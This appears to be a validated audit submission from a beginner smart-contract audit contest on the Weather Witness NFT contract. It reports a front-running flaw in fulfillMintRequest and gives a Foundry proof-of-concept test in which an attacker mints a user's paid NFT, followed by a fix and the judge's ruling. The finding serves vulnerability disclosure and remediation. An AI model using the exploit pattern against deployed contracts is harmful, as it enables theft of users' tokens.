Weather Witness
First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Event on `WeatherNft::requestMintWeatherNFT` makes `WeatherNft::fulfillMintRequest` front-runnable

juliancabmar

Event on WeatherNft::requestMintWeatherNFT makes WeatherNft::fulfillMintRequest front-runnable

Description:
When the event WeatherNftStore::WeatherNFTMintRequestSent is emited on WeatherNft::requestMintWeatherNFT execution, his reqId parameter can be catched and used for front-run the minting of Weather Nft calling WeatherNft::fulfillMintRequest before the legit user.

function requestMintWeatherNFT(
string memory _pincode, string memory _isoCode, bool _registerKeeper, uint256 _heartbeat, uint256 _initLinkDeposit)
external
payable
returns (bytes32 _reqId)
{
require(msg.value == s_currentMintPrice, WeatherNft__InvalidAmountSent());
s_currentMintPrice += s_stepIncreasePerMint;
​
if (_registerKeeper) {
addressToLinkDeposit[msg.sender] = _initLinkDeposit;
IERC20(s_link).safeTransferFrom(msg.sender, address(this), _initLinkDeposit);
}
​
_reqId = _sendFunctionsWeatherFetchRequest(_pincode, _isoCode);
​
@> emit WeatherNFTMintRequestSent(msg.sender, _pincode, _isoCode, _reqId);
​
s_funcReqIdToUserMintReq[_reqId] = UserMintRequest({
user: msg.sender,
pincode: _pincode,
isoCode: _isoCode,
// e - using a keeper or not
registerKeeper: _registerKeeper,
heartbeat: _heartbeat,
initLinkDeposit: _initLinkDeposit
});
}

Impact:
Steal the Weather Nft buyed from the user

Proof of Concept:
Add the following to the test suite:

function testfulfillMintRequestCanBeFrontRun() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
​
address attacker = makeAddr("attacker");
​
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
​
// The attacker is waiting for the right event log
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit
);
vm.stopPrank();
​
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
// Get the reqId
(,,, reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
​
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
​
// calculates the new tokenId
uint256 tokenIdAttacker = weatherNft.s_tokenCounter();
// Minting with the user reqId before he
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId);
assertEq(attacker, weatherNft.ownerOf(tokenIdAttacker));
}

Recommended Mitigation:
Associate the requestId with the user and check this on WeatherNft::fulfillMintRequest

On WheatherNftStore add:

.
.
// variables
uint256 public s_tokenCounter;
+ mapping(bytes32 => address) public s_reqIdToUser;
mapping(Weather => string) public s_weatherToTokenURI;
FunctionsConfig public s_functionsConfig;
mapping(bytes32 => UserMintRequest) public s_funcReqIdToUserMintReq;
mapping(bytes32 => MintFunctionReqResponse) public s_funcReqIdToMintFunctionReqResponse;
mapping(bytes32 => uint256) public s_funcReqIdToTokenIdUpdate;
.
.

On WeatherNft::requestMintWeatherNFT add:

function requestMintWeatherNFT(string memory _pincode, string memory _isoCode, bool _registerKeeper, uint256 _heartbeat, uint256 _initLinkDeposit)
external
payable
returns (bytes32 _reqId)
{
require(msg.value == s_currentMintPrice, WeatherNft__InvalidAmountSent());
s_currentMintPrice += s_stepIncreasePerMint;
​
if (_registerKeeper) {
addressToLinkDeposit[msg.sender] = _initLinkDeposit;
IERC20(s_link).safeTransferFrom(msg.sender, address(this), _initLinkDeposit);
}
​
_reqId = _sendFunctionsWeatherFetchRequest(_pincode, _isoCode);
​
+ s_reqIdToUser[_reqId] = msg.sender;
​
emit WeatherNFTMintRequestSent(msg.sender, _pincode, _isoCode, _reqId);
.
.

On WeatherNft::fulfillMintRequest add:

function fulfillMintRequest(bytes32 requestId) external {
+ require(msg.sender == s_reqIdToUser[requestId], "Invalid user");
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
​
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
// @? - returns without a error reason
if (response.length == 0 || err.length > 0) {
return;
}
​
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
.
.
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.